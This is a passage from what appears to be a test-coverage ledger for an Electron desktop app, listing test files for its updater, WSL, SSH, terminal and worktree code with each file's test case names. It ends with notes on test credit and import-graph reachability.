package; reports missing without a retained artifact; propagates a package-manager discovery failure; rejects a well-formed digest that belongs to another file; never hashes a package that a malformed digest failed to arm; rejects a path outside the cache root; rejects the cache root itself; rejects a package in the updater directory itself; rejects a pending directory that is a symlink out of the cache; performs one hash pass for concurrent requests; revalidates once the in-flight pass settles; does not reuse an in-flight pass for a different artifact; starts a fresh proof when the same package is captured again; returns the verified package path; returns missing without a retained artifact. src/main/updater/releases/updater-prerelease-feed-readiness.test.ts: accepts a GitHub %s asset redirect as ready; reports a GitHub asset request error as unavailable; reports not-ready with a verified last-good tag when the newest assets are unavailable; does not classify a non-positive tag limit as feed unavailability; reproduces the v1.4.142 publishing incident as not-ready; reports transport failures as unavailable instead of not-ready; treats an explicit asset 404 as not-ready when another asset is unavailable; accepts absolute manifest asset URLs without rewriting them to release asset paths; returns not-ready with an older ready update as last-good while newest is publishing. src/main/updater/releases/updater-release-builds.test.ts: lists hourly builds from the dedicated repo, newest first; lists daily builds from the dedicated repo, newest first; separates stable from rc in the shared main repo; skips drafts and unparseable tags; keeps a composed release title and drops one that repeats the tag; hides builds that published no artifact for this platform; returns an empty list when no build has this platform artifact; keeps mac builds visible on macOS regardless of the Windows leg; resolves the platform installer download url; leaves the installer url null when the release published no installer; tolerates a release whose assets are missing or malformed; sends the local gh token as a bearer header when one is available; sends no authorization header when gh has no token; retries unauthenticated once when GitHub rejects the token; does not retry a 401 that was already unauthenticated; falls back to the per-IP bucket when the token is rate limited and tells the gh breaker; reports a secondary limit carrying retry-after without retrying or tripping the breaker; records a primary limit in the token scope %s; keeps %s authenticated when only %s is blocked; skips the token while its scope %s is blocked; surfaces a rate limit with its reset time and a sign-in hint when unauthenticated; omits the sign-in hint when the rate-limited request was authenticated; treats 429 as a rate limit; reports a 403 without rate-limit headers as a plain HTTP error; reports a missing hourly repo distinctly; is null when GitHub sent no reset; prefers retry-after over the primary reset epoch; falls back to the primary reset epoch when there is no retry-after; reads retry-after as seconds; reads retry-after as an HTTP date; pins an hourly tag at the hourly repo download path; pins a daily tag at the daily repo download path; pins a stable tag at the main repo download path; rejects a tag that is not a version. src/main/updater/updater.build-channel-selection.test.ts: uses the display label in the unsupported-platform %s pinned-build error; still pins %s from an unsigned Windows dev build; restores ordinary release checks after local build selection fails; opts into the RC channel when checkForUpdatesFromMenu is called with includePrerelease; pins the generic feed to a perf-tagged prerelease when requested; surfaces no-update feedback when no newer perf-tagged prerelease exists; keeps prerelease publishing-window misses on the generic retry path; leaves the feed URL alone for a normal user-initiated check. src/main/updater/updater.check-preflight.test.ts: ignores a stale update-not-available event after a new check starts preflight; deduplicates repeated manual checks while the immediate checking status is active. src/main/updater/updater.prerelease-fallback.test.ts: retries a prerelease check once against the previous feed tag when the manifest is missing; surfaces a promise-only prerelease fallback failure after the primary error event. src/main/updater/updater.publishing-window-feed.test.ts: repins the generic feed to the newest RC tag for a prerelease user; repins the generic feed to a newer stable tag for a prerelease user; pins a stable fallback when Atom has no newer prerelease; uses last-good concrete feed when a user-initiated check lands during publishing; can offer an older fully published update while the newest release is publishing; keeps background publishing-window fallback on the short retry cadence. src/main/updater/updater.quit-and-install.test.ts: surfaces an accepted retry before electron-updater emits download progress; defers quitAndInstall and runs its launcher within the launch PATH scope; runs pre-quit cleanup before local PTY cleanup during update install; keeps optional pre-quit cleanup fail-and-continue behavior by default; ignores duplicate quitAndInstall requests while the shared delay is pending; arms the forced-exit watchdog once the install commits; disarms the forced-exit watchdog when sync install error recovery keeps the app open. src/main/window/createMainWindow-markdown-editor-focus.test.ts: ignores traffic light sync IPC on non-macOS; still intercepts Cmd+Shift+B and Cmd+Alt+B when the markdown editor is focused; coerces non-boolean setMarkdownEditorFocused payloads to false; opens a table-aware context menu synchronously without a renderer query; builds the plain edit menu for the one right-click the renderer marks as plain text. src/main/window/createMainWindow-renderer-crash-recovery.test.ts: notifies the caller when the renderer process is gone; passes the renderer webContents id through crash recording and recovery callbacks; forwards expected renderer teardowns so the recorder can diagnose suppression; reloads the app shell after an unexpected renderer process loss; does not reload after renderer loss when recovery is disabled; stops auto-reloading after a rapid renderer crash loop trips the breaker. src/main/window/dashboard-popout-window.test.ts: updates the title after language initialization and unsubscribes when closed; lets its preload expose saved WSL hosts in serve-only, and passes nothing otherwise; creates a native-frame window with the shared preload and no webview surface; shows the window on ready-to-show; loads the prod file entry; loads the dev server URL when in dev; focuses the existing window instead of creating a second one; trusts only the live popout webContents; restores a minimized window when re-requested; restores valid persisted bounds; discards off-screen persisted bounds and falls back to defaults; persists bounds on resize after the debounce, guarding near-minimum sizes; keeps saving bounds after a vetoed quit and freezes them only on an allowed quit; closeDashboardPopout closes an open window; applies the persisted app zoom level on dom-ready; follows app zoom changes while open and unsubscribes on close; zoomDashboardPopoutIfFocused steps the popout zoom only while focused; handles the zoom-in chord via before-input-event and ignores other keys; handles mouse-wheel zoom requests outside before-input-event; respects zoom keybinding overrides for keyboard and mouse-wheel paths. src/main/window/dropped-path-preparation.test.ts: opens and stores each unique source once as drop size grows tenfold; passes ordinary paths without copying for %s; preserves ordinary successes and copied successes when another file fails; serializes copy requests from different owners; reports all lost paths without a shared reason when their failures differ. src/main/window/main-window-updater-deferred-setup.test.ts: releases all 64 completed fallback handles without repeating initialization; keeps setup after ready-to-show and releases its fallback afterward; preserves the 15-second fallback when first paint never arrives; preserves destroyed-window guard reads before and at the fallback deadline; keeps the exact %s error and releases its completed fallback; keeps the exact fallback %s error without retrying initialization; preserves pending manual setup after failed ready registration; keeps setup options, live store reads, nudge writes and required quit flush. src/main/worker-threads/worker-thread-request-queue.test.ts: posts one request at a time and in the order it was dispatched; fires a posted call at its own deadline; stops respawning and fails the rest of the queue once deaths hit the cap; clears the death count when a fresh burst starts from full idle. src/main/workspace-hooks/hooks-setup-runner-script.test.ts: builds Windows runners for newline-heavy scripts without line-array splitting; builds POSIX runners without regex-wide CRLF normalization; writes POSIX setup runners for shebang-declared scripts on native Windows paths; keeps batch setup scripts on cmd.exe when the terminal is Git Bash; hands a Git Bash pane a launch command MSYS cannot rewrite for a cmd runner; replays interpreter flags declared on the shebang line; preserves cmd.exe setup runner semantics for configured cmd users; keeps POSIX runner behavior on POSIX platforms; waits when either local or project policy requires completed setup; marks setup-runner terminals for the always-on credential guard; maps git-bash to POSIX setup launch metadata on Windows; falls back to the cmd runner when the git-bash setting has no installed Git Bash; keeps the cmd runner for a non-Git bash such as Cygwin; keeps the cmd runner for a bare bash whose flavor cannot be resolved; uses the POSIX runner for a bare bash that resolves to Git Bash; uses the POSIX runner for an extension-less Git Bash path; preserves the existing cmd runner for PowerShell terminals; preserves cmd setup compatibility when a Windows-host project has a WSL shell setting; classifies an installed explicit Git Bash executable as a POSIX runner; falls back to the cmd runner when the explicit Git Bash path no longer exists. src/main/workspaces/catalog/repo-git-remote-identity-enrichment.test.ts: schedules remote identity enrichment without blocking the caller; probes a drive project whose runtime is WSL %s; sweeps a local repo: %s; probes an SSH row that carries only executionHostId on its own host; keeps same-path rows on two different SSH hosts from sharing one backoff; coalesces concurrent probes for the same repo location; caches no-identity probes briefly so list calls do not retry every time; does not rewrite the no-remote marker on a later retry; resolves a settled no-remote repo once it gains a remote; does not re-probe a resolved identity before the refresh window elapses; re-probes a resolved identity after the refresh window elapses; bounds re-probes per sweep so a large repo list drains gradually; forgets a removed repo location so its deadline cannot outlive the repo; keeps a surviving repo backoff when a sibling repo is removed; probes again when the same location is re-added after its probe was retired; coalesces concurrent sweeps instead of running one pass per list call. src/main/workspaces/creation/preparation/worktree-create-preparation.test.ts: preserves create priority through claim probes on %s; starts the checkout only once the async workspace root resolves; still deduplicates when both callers await the same pending root lookup; namespaces native Windows preparation directories for long paths; deduplicates preparation for the same repo, base, runtime, and workspace root; does not spend a divergence walk when the base matches exactly; claims when the two sides spell the same ref differently; evicts a repo's own stale preparation before another repo's; still discards armed checkouts when the project runtime needs repair; routes preparation and finalization through the selected WSL runtime; retries stale cleanup after a transient listing failure; does not discard a detached worktree with caller-controlled preparation metadata; does not re-arm after an isolated create; re-arms a preparation once creates arrive in a burst; holds the re-arm checkout until the create runs the deferred thunk; starts one explicit prefetch after the create completes; does not re-arm when finalization failed; reports a pending create while a stale-cleanup scan is running. src/main/workspaces/removal/local-worktree-removal-recovery.test.ts: recovers Git for Windows partial filesystem deletion failures; finishes a clean non-force deletion after Git leaves a Windows directory behind; recovers localized Windows failures after Git already removed the registration; does not recover unrelated localized failures while Git still owns the row; finishes a macOS deletion Git deregistered before failing with Directory not empty; leaves an orphaned checkout to the orphan cleanup instead of deleting it; prunes and strictly verifies on the selected WSL host without deleting files or branches. src/main/workspaces/removal/worktree-removal-safety.test.ts: rejects deleting a worktree that contains another registered worktree; rejects POSIX home directories even when host homedir has a different path shape; refuses a home the host reported even when no path rule recognises it; refuses the Windows host's home directory from a POSIX client; refuses the Windows host's home directory even when the host reported nothing. src/main/wsl/discovery/distro-catalog.test.ts: retries asynchronous discovery after a transient wsl.exe failure; retries synchronous discovery after a transient wsl.exe failure; retries asynchronous discovery after wsl.exe reports no distros yet; retries synchronous discovery after wsl.exe reports no distros yet; bounds the wsl.exe spawn rate while no distros are installed; bounds the asynchronous spawn rate while no distros are installed; still caches a non-empty distro list for the process lifetime; re-probes a docker-desktop-only machine once a user distro can appear; backs off while the list keeps coming back empty; backs off after repeated distro-list failures; caps the empty-list backoff at five minutes; keeps reporting an empty result after it goes stale; keeps reporting a known distro list indefinitely; bounds cached homes while retaining the most recently used distros; still lists distros, and an excluded distro home probe fails like any other probe; gives the async home probe time for a cold boot instead of killing it at 5 s; retries availability after a probe timeout instead of latching false; bounds the probe rate while the failure window is open; caches a successful probe for the process lifetime; names an explicit spawn directory, so no deleted cwd can read as ENOENT; shares one wsl.exe spawn between concurrent probes; keeps reporting the last observed answer after it goes stale; holds a definitive failure far longer than a timeout when %s; backs off after repeated probe failures; re-probes a seeded retryable failure once its window lapses; re-probes availability once a distro list succeeds after %s; does not drop an availability failure for an empty distro list; keeps reporting unavailable off Windows without probing. src/main/wsl/discovery/wsl-distro-holder.test.ts: runs a busybox-safe loop through --exec and names the distro; spawns a detached-style holder, records it, and waits for the distro to run; a holder exiting with code 1 notes its distro may have stopped (E9); rejects a pid whose command line is not our holder for that distro; cleans up stale and corrupt records; keeps a holder and its record when release cannot verify it; reports unverifiable when the command line is unreadable even with a matching pid; release kills a verified holder and removes its record; release never kills a pid that is no longer our holder; reports a spawned holder exit so liveness can re-check. src/main/wsl/filesystem/wsl-guest-drive-mountinfo.test.ts: skips 9p shares that are not drvfs, and malformed lines. src/main/wsl/orcad/wsl-orcad-deploy-app-update.test.ts: plans the update on the census the running orcad reports, not an unknown one; forwards force to the update planner; does not serve the incumbent past a refusal that is not a wait; does not re-activate the build this host rolled back from; labels the launch with the build the adoption found serving, not the stale record; defers while another run holds the host fence; lets an explicit force deploy past both skips; names a newer host refusal apart from a rolled-back one, so only Force is offered; updates an older host as before, without asking to adopt it; never asks the incumbent when it already runs this build. src/renderer/src/components/agent/agent-launch-picker-acquisition.test.ts: keeps a completed listing usable when the host rejects the wait parameter. src/renderer/src/components/feature-tips/feature-tip-telemetry.test.ts: delivers to chat-default users in all targeting while holding out not-switched users. src/renderer/src/components/native-chat/composer/pickers/use-native-chat-side-chat-command.test.ts: completes the row on a pick, even when the command is already typed; ignores a pick of the row while side chats are unavailable. src/renderer/src/components/native-chat/media/images/native-chat-image-copy.test.ts: explains a too-large refusal that arrives through the IPC error prefix. src/renderer/src/components/native-chat/messages/actions/native-chat-fork-launch.test.ts: keeps the question with the caller and says once that it never went; tells the user to check the side chat when delivery is unconfirmed; reports a delivered question as sent, silently. src/renderer/src/components/native-chat/messages/actions/native-chat-side-chat-fork-point.test.ts: decides each of %i tool-only turns once per layout, and nothing without a listener. src/renderer/src/components/native-chat/messages/actions/use-native-chat-fork.test.tsx: places a side chat whose question was %s: %o. src/renderer/src/components/terminal-pane/provider-notices/agent-presence/agent-terminal-presence.test.ts: calls back once for %s; stops watching once unsubscribed. src/renderer/src/components/terminal-pane/pty-connection/emulation/pty-connection-mode2031-raw-subscription.spec.ts: records a mode 2031 subscribe from the raw chunk boundary without answering. src/renderer/src/components/terminal-pane/pty-connection/input/pty-connection-deferred-input-forwarding.spec.ts: routes terminal input through deferPtyInput so the host can withhold it; forwards terminal input directly when the host supplies no deferPtyInput. src/renderer/src/components/terminal-pane/pty-connection/notifications/pty-connection-terminal-bell-attention.spec.ts: forwards onBell to pane attention and notification policy; hands the bell to the attention module with its pane even when pane attention is off. src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-dropped-output-snapshot-healing.spec.ts: repaints from the main-owned snapshot when main drops pending output at the cap. src/renderer/src/components/terminal-pane/pty-connection/output/pty-connection-fresh-native-follow-reset.spec.ts: retries a fresh-spawn native follow reset when renderer dimensions return. src/renderer/src/components/terminal-pane/pty-connection/spawn/unbound-pane-spawn-recovery.test.ts: requests a tab remount for an unbound spawn; leaves recovery to a remote transport that armed its own retry; requests a remount when the transport reports no recovery of its own; settles the spawn as failed before requesting a remount; prefers the restored leaf id when reporting the anomaly; falls back to the pane leaf id when no restored leaf exists. src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-foreground-agent.test.ts: remove only literal registration import/call pairs import { registerPtyConnectionDeferredInputForwardingTests } from '../input/pty-connection-deferred-input-forwarding.spec', registerPtyConnectionDeferredInputForwardingTests(); no additional authored credit. src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts: structural support changed only; no new authored removal credit. src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-input-and-repaint.test.ts: remove only literal registration import/call pairs import { registerPtyConnectionFreshNativeFollowResetTests } from '../output/pty-connection-fresh-native-follow-reset.spec', registerPtyConnectionFreshNativeFollowResetTests(); no additional authored credit. src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-spawn-and-startup.test.ts: remove only literal registration import/call pairs import { registerPtyConnectionTerminalBellAttentionTests } from '../notifications/pty-connection-terminal-bell-attention.spec', registerPtyConnectionTerminalBellAttentionTests(); no additional authored credit. src/renderer/src/components/terminal-pane/pty-transport/delivery/pty-dispatcher-delivery-interest.test.ts: registers interest on the first sidecar and releases on the last unsubscribe; releases sidecar interest only once for repeated unsubscribes; does not let an eager pre-mount buffer defeat hidden delivery gating; keeps eager buffers outside delivery interest when the PTY exits before mount; lets a sidecar exclusively own interest while an eager buffer overlaps. src/renderer/src/components/terminal-pane/pty-transport/delivery/pty-dispatcher-push-reattach.test.ts: blackholed delivery reproduces the wedge: no handler dispatch, no ACK ever. src/renderer/src/components/terminal-pane/pty-transport/ipc/ipc-pty-opencode-model.test.ts: sends preferences to the execution host and attaches only to its returned PTY; preserves one operation ID across a lost reply and reconnect; preserves ordinary raw startup and captured-session attachment. src/renderer/src/components/terminal-pane/pty-transport/output/pty-side-effect-pending-census.test.ts: sums registered gauges and drops disposed ones; ignores a repeated dispose instead of dropping another gauge; stops tracking new gauges past the cap so a missed dispose cannot grow it; tracks a live output processor queue through enqueue, drain, and dispose; excludes cleared consumed entries from retention after a bounded drain. src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-prebind-discard-notice.test.ts: says nothing once the pane is closed. src/renderer/src/components/terminal-pane/render-health/terminal-webgl-atlas-recovery.test.ts: refreshes after each scheduled atlas reset; falls back to a timeout when animation frames are unavailable; continues recovery when a manager throws after scheduling. src/renderer/src/components/terminal-pane/snapshots/pty-buffer-serializer.test.ts: tracks a remounted quiet title source even when the stale owner unregisters later; preserves the renderer-parsed output sequence in the response; preserves a pending escape tail for snapshot replay; routes a host's Reset Terminal request to the pane that owns the PTY. src/renderer/src/components/terminal-pane/snapshots/saved-terminal-output-replay.test.ts: marks panes with restored scrollback for fresh-shell viewport blanking. src/renderer/src/components/terminal-pane/viewport/split-right-white-screen.test.ts: recovers a 0x0 spawn whose container is briefly unmeasurable then settles. src/renderer/src/components/terminal-pane/viewport/visibility/stale-document-visibility.test.ts: removes global listeners when the last pane unregisters. src/renderer/src/components/ui/security-surface-theme-contrast.test.tsx: keeps trust text readable on a host-owned dialog surface; applies the hostile surface to ordinary dialogs, so the case above is exercised. src/renderer/src/components/use-terminal-parking-pass.test.tsx: does not queue a render when a pass produces the same parking sets; keeps parking transitions working under StrictMode. src/renderer/src/hooks/client-workspace-view-report.test.ts: reports an away user’s screen with no presence, and renews as soon as input returns; retries a failed send, empty or not, no sooner than a refresh. src/renderer/src/hooks/ipc-events/terminal-request-ipc-bridge-placement.test.ts: is new work in a workspace with no live terminal: its first bind moves it up in Recent. src/renderer/src/hooks/use-bundled-skill-install.test.tsx: ignores a repeated click while the install runs; retries the last requested skills on this host. src/renderer/src/hooks/useGitHubSlugMetadata.assignee-reuse.test.tsx: adds seeds to a successful empty list but not to loading or failed results; retains seed projection after expiry and fetches fresh metadata for a new reader. src/renderer/src/hooks/useSettingsNavigationMetadata.language-switch.test.tsx: retranslates the settings nav labels when the UI language changes live. src/renderer/src/lib/codex-stale-pane-account-identity.test.ts: keeps the prompt when the roster read fails and every label collapses. src/renderer/src/lib/image-blob-png.test.ts: downscales a pasted image above the pixel cap; releases its temporary URL on a decode error; releases its temporary URL when PNG encoding fails or exceeds the byte cap. src/renderer/src/lib/react-commit-cascade-store-write-samples.test.ts: names callers above the frame the write came from; restores Error.stackTraceLimit when the capture throws; stops collecting after the sample cap when captureStackTrace is unavailable; caps reported changed keys from a single wide write. src/renderer/src/lib/work-items/linear/linear-issue-context-snapshot.test.ts: applies the rendered text hard cap last and reserves the final overflow marker. src/renderer/src/runtime/rpc/targets/use-worktree-runtime-target.test.ts: keeps the runtime target identity stable across unrelated store writes. src/renderer/src/runtime/source-control/git/runtime-git-branch-client.test.ts: keeps creation available on old hosts and explains the missing operation; preserves landed warnings and direct collision recovery data; propagates remote discovery failure instead of a false empty page. src/renderer/src/runtime/sync-runtime-graph/sync-runtime-graph-key-reuse.test.ts: reuses unchanged worktree tab projections when one worktree title changes; bumps only the changed worktree version when a sibling stays byte-identical. src/renderer/src/store/repos/repos-catalog-request-coordination.test.ts: shares safe-auto fork sync cooldown attempts across store instances. src/renderer/src/store/slices/tabs/hydrated-workspace-reconciliation-batch.test.ts: collapses a 193-workspace hydration to one store write; leaves the store byte-identical to the per-workspace path; re-reconciling the batched result is a no-op, as it is for the per-workspace path. src/renderer/src/store/slices/tabs/hydrated-workspace-reconciliation-fixture.ts: dedicated zero-case helper retirement; no authored test credit. src/renderer/src/store/slices/worktrees/metadata/update-worktrees-meta.test.ts: persists each batch metadata update to its workspace owner. src/renderer/src/store/slices/worktrees/metadata/worktree-meta-rename.test.ts: dismisses a rename error on its capable remote owner; clears pending first-agent rename when the title is updated. src/renderer/src/store/terminals/store-sleep-shutdown-order.test.ts: orders capture, guards, handlers, main's stop, commit, cleanup, and exit settlement. src/renderer/src/store/terminals/terminal-first-tab-publication.test.ts: publishes the first terminal and root tab group atomically; publishes the first terminal and root tab group atomically, then marks it starting in main. src/renderer/src/store/terminals/workspace-terminal-reconnect-hydration.test.ts: restores daemon terminal wake hints before declaring the session ready. src/renderer/src/web/web-runtime-connection-auth-framing.test.ts: keeps legacy framing for sockets that cannot absorb a refused attempt. src/shared/terminal/appearance/terminal-font-weight-windows-regular.test.ts: moves the old Windows default to Regular once and queues the notice; keeps custom weights and fresh profiles without a notice; leaves macOS and Linux profiles untouched. tests/e2e/claude-agent-row-view.unit.test.ts: updates a mounted compact workflow description through the subscribed production parent; bounds upstream active-SSH visits for $population records, fallback=$fallback; derives %s destinations without requiring type or a workflow child ID; terminates a $path parent $status with no third request or intermediate toast; does not recover a first child %s. tests/e2e/cross-version-wire/agent-permission-legacy-spawn.unit.test.ts: keeps exact legacy ordering when structured creation cannot express afterTabId; can create a terminal without selecting the target worktree; preserves the legacy fresh-agent path when host authority is unavailable. tests/e2e/paired-instant-browser-tab.spec.ts: shows a paired browser tab before its create RPC resolves, then keeps it as one tab; adopts a paired browser tab without rebuilding its chrome. tests/e2e/session-tabs-decorative-title-fanout.unit.test.ts: bounds host publication and renderer application across remote worktrees; globally caps decorative freshness while every working status stays fresh. tests/e2e/session-tabs/mobile-session-active-performance.unit.test.ts: bounds saved-order publication selection at N and 10N without rematerializing navigation; bounds admitted placement reconciliation during supported reads at N and 10N; bounds selection input visits at 50 and 500 rows, including unavailable-target projection; keeps publication scoped to a changed worktree and shared by listeners at N and 10N; bounds preserved-chat merge and runtime-owned hydration at N and 10N (legacy=%s); bounds actual native retirement and shared delivery work at N and 10N. tests/e2e/session-tabs/mobile-session-active-publication.unit.test.ts: does not substitute a preserved row for an unavailable explicit legacy selection; resolves main-layout group selection %s (omitted group=%s). tests/e2e/structured-agent-session-launch-admission.unit.test.ts: opens a direct caller's terminal with the caller's own CLI arguments on a decline; opens the chat on the server that admitted it; opens only the terminal when this machine declines, without a notice; opens a new agent tab's terminal with the typed prompt when the caller names none; opens the chat, not a terminal, when this machine cannot resolve a new workspace yet; keeps its terminal fallback, as before. tests/e2e/structured-attention-prompt-relay.unit.test.ts: settles once per relayed prompt, not on every later status update. tests/e2e/structured-attention-read-retirement.unit.test.ts: Mark read on a chat never opened withdraws the prompt alert it surfaced; Mark read on a chat hidden since an earlier view covers the newer prompt it surfaced; reads a newly accepted visible prompt without sending an RPC for text-only updates. tests/e2e/structured-chat-tab-lifetime-cost.unit.test.ts: counts real raw stores, unrelated window publications and captured cleanup at %i chats; counts complete supplied-member sweep and separate final retirement at S=%i N=%i. tests/e2e/structured-session-workspace-authority.unit.test.ts: bounds actual target reveal across %i repo roots and metadata aliases. tests/e2e/terminal-agent-pane-launch.unit.test.ts: starts the host's planned command once, at the pane's size, and says it started; plans a pane whose prompt the window submits without the startup update prompt; preserves caller shell-ready delivery only for a connection-scoped adapter ($connectionId); starts no shell on plan failure (original failure: $returnLaunchFailure); cannot confirm a start whose provider answer was lost. tests/e2e/terminal-parked-memory.spec.ts: releases renderer terminal memory when hidden tabs park. tests/e2e/terminal-shortcuts.spec.ts: @headful Codex-like background output stays visible without disabling WebGL in auto mode; Shift with Russian layout text reaches the PTY as Cyrillic under kitty keyboard reporting. tests/e2e/terminal-split-activation-latency.spec.ts: records attributed CWD, spawn, bind, fixture-ready, input, and echo phases. tests/e2e/terminal-split-activation-latency-phases.ts: dedicated zero-case helper retirement; no authored test credit. tests/e2e/terminal-split-activation-latency-main-probe.ts: dedicated zero-case helper retirement; no authored test credit. tests/e2e/terminal-split-activation-latency-artifact.ts: dedicated zero-case helper retirement; no authored test credit. tests/e2e/terminal-split-activation-latency-report.ts: dedicated zero-case helper retirement; no authored test credit. tests/e2e/terminal-tab-switch-visual-restore.spec.ts: restores skipped hidden Grok output on light tab resume. tests/e2e/web-runtime-session-terminal-host-authority.unit.test.ts: delivers independent %s effort through the real prepared web callback; keeps same-ID local and runtime worktrees on the selected runtime owner; creates paired web agents through host authority so activation is mirrored; delivers generated continuation context after host-authoritative creation; seeds the chat composer for a draft that rode in on the launch command. Current changed source bytes, wrapper registrations and reduced selectors have no fresh execution or red/green credit. Unrelated surviving receipt objects keep their original narrow scope; current literal graph reachability does not establish historical import closure or equivalent replacement coverage. Current conservative command/import graph reaches src/main/runtime/construction/orca-runtime.test.ts, src/main/runtime/orca-runtime-tests/targeting-and-resilience.spec.ts, src/main/runtime/orca-runtime-tests/worktree-removal-and-reconciliation-part-04.spec.ts, src/main/runtime/orca-runtime-tests/worktree-removal-and-reconciliation-part-03.spec.ts, src/main/runtime/orca-runtime-tests/worktree-removal-and-reconciliation-part-02.spec.ts, src/main/runtime/orca-runtime-tests/gitlab-and-pr-bases-part-02.spec.ts, src/main/runtime/orca-runtime-tests/gitlab-and-pr-bases.spec.ts, src/main/runtime/orca-runtime-tests/worktree-setup-and-startup-part-03.spec.ts, src/main/runtime/orca-runtime-tests/worktree-setup-and-startup.spec.ts, src/main/runtime/orca-runtime-tests/terminal-sleep-and-teardown-part-02.spec.ts, src/main/runtime/orca-runtime-tests/mobile-summaries-part-03.spec.ts, src/main/runtime/orca-runtime-tests/mobile-summaries-part-02.spec.ts, src/main/runtime/orca-runtime-tests/mobile-summaries.spec.ts, src/main/runtime/orca-runtime-tests/mobile-creation-and-orchestration-part-03.spec.ts, src/main/runtime/orca-runtime-tests/mobile-creation-and-orchestration-part-02.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-13.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-12.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-11.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-10.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-08.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-07.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-05.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-04.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-02.spec.ts, src/main/runtime/orca-runtime-tests/mobile-session-tabs.spec.ts, src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-05.spec.ts, src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-04.spec.ts, src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-03.spec.ts, src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-02.spec.ts, src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status.spec.ts, src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-07.spec.ts, src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-04.spec.ts, src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-03.spec.ts, src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-02.spec.ts, src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-12.spec.ts, src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-11.spec.ts, src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-10.spec.ts, src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-09.spec.ts, src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-08.spec.ts, src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-07.spec.ts, src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-06.spec.ts, src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-03.spec.ts, src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness.spec.ts, src/main/runtime/orca-runtime-tests/headless-snapshots.spec.ts, src/main/runtime/orca-runtime-tests/terminal-side-effect-facts-part-02.spec.ts, src/main/runtime/orca-runtime-tests/local-worktree-creation-part-02.spec.ts, src/main/runtime/orca-runtime-tests/local-worktree-creation.spec.ts, src/main/persistence/worktree-sort-order-write.test.ts, src/main/runtime/integrations/skill/orca-runtime-skill-recovery.test.ts, src/main/runtime/orchestration/mailbox/routing/orchestration-mailbox-detached-routing.spec.ts, src/main/runtime/orchestration/mailbox/terminal-pointer/orchestration-mailbox-delivery.test.ts, src/main/runtime/orchestration/mailbox/terminal-pointer/orchestration-mailbox-pointer-cli-command.spec.ts, src/main/runtime/rpc/methods/terminal/terminal-multiplex-link-estimate.test.ts, src/main/runtime/rpc/methods/terminal/terminal-snapshot-scrollback-rows.test.ts, src/main/runtime/rpc/server/pairing/network/windows-default-route-interfaces.test.ts, src/main/runtime/rpc/server/pairing/pairing-offer-owner-cli.test.ts, src/main/runtime/rpc/terminal-multiplex-end-verdict.test.ts, src/main/runtime/session-graph/headless-runtime-graph.spec.ts, src/main/runtime/session-graph/runtime-graph-standing-contracts.test.ts, src/main/runtime/session-tabs/structured-conversation-tab-title.test.ts, src/main/runtime/session-tabs/terminal-close-observed-exit.test.ts, src/main/runtime/terminal/identity/terminal-identity-probe.test.ts, src/main/runtime/terminal/layout/paired-desktop-server-writes-layout-owner.test.ts, src/main/runtime/terminal/lifecycle/pty-lifecycle-generation-retention.test.ts, src/main/runtime/terminal/lifecycle/run-terminal-user-open.test.ts, src/main/runtime/terminal/surface/terminal-surface-replies-window.test.ts, src/main/runtime/terminal/surface/workspace-layout-projection.test.ts, src/main/runtime/terminal/view/terminal-subscribe-exit-waiter-leak.test.ts, src/main/runtime/terminal/wait/orca-runtime-exact-worker-provider-session.test.ts, src/main/runtime/terminal/wait/prime-agent-screen-readiness-transcripts.test.ts, src/main/runtime/workspaces/startup/runtime-worktree-agent-startup.test.ts, src/main/runtime/workspaces/startup/runtime-worktree-startup-readiness.test.ts, src/main/skills/skill-install-transaction.test.ts, src/main/speech/model-manager-download-resume.test.ts, src/main/ssh/config/ssh-config-parser.test.ts, src/main/ssh/config/ssh-known-hosts-source.test.ts, src/main/ssh/config/ssh-known-hosts.test.ts, src/main/ssh/connection/ssh-connect-config.test.ts, src/main/ssh/connection/ssh-connection-auth-fallback.test.ts, src/main/ssh/connection/ssh-connection-store.test.ts, src/main/ssh/connection/ssh-connection.test.ts, src/main/ssh/orcad-migration-stuck-host-profiles.test.ts, src/main/ssh/orcad-runtime-maintenance.test.ts, src/main/ssh/port-forwarding/ssh-port-forward.test.ts, src/main/ssh/ssh-channel-multiplexer.test.ts, src/main/ssh/system-transport/system-ssh-forward-process.test.ts, src/main/ssh/system-transport/system-ssh-loopback-route.test.ts, src/main/startup/browser-process-user-agent-ordering.test.ts, src/main/startup/quit/quit-path-durable-write-blocking.test.ts, src/main/stats/agent-session-transition-recorder.test.ts, src/main/text-generation/commit-message-text-generation-model-discovery.test.ts, src/main/text-generation/pull-request-context.test.ts, src/main/text-generation/source-control-local-process.test.ts, 